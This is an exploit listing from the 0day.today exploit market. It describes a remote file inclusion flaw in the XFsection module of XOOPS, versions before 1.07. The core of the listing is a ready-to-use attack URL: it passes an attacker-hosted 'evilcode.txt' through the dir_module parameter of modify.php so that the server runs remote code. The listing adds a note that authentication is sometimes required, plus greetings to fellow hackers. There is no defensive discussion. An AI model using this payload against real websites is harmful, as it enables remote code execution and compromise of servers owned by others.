[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability

Author
Sp[L]o1T
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1946
Category
web applications
Date add
12-06-2007
Platform
unsorted
=======================================================================
XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
=======================================================================



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
XOOPS Module XFsection Remote File Inclusion
version: < 1.07
source : http://prdownloads.sourceforge.net/xoops/xoops2-mod_xfsection-107.zip
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Bug : http://www.site.com/modules/xfsection/modify.php?dir_module=evilcode.txt?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Shoutz t0 : Vladiii,Johnny,Shocker,Epic,OSHO,Zapakitul and all members 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Note:
In some cases you will need to be authenticated.


#  0day.today [2024-07-02]  #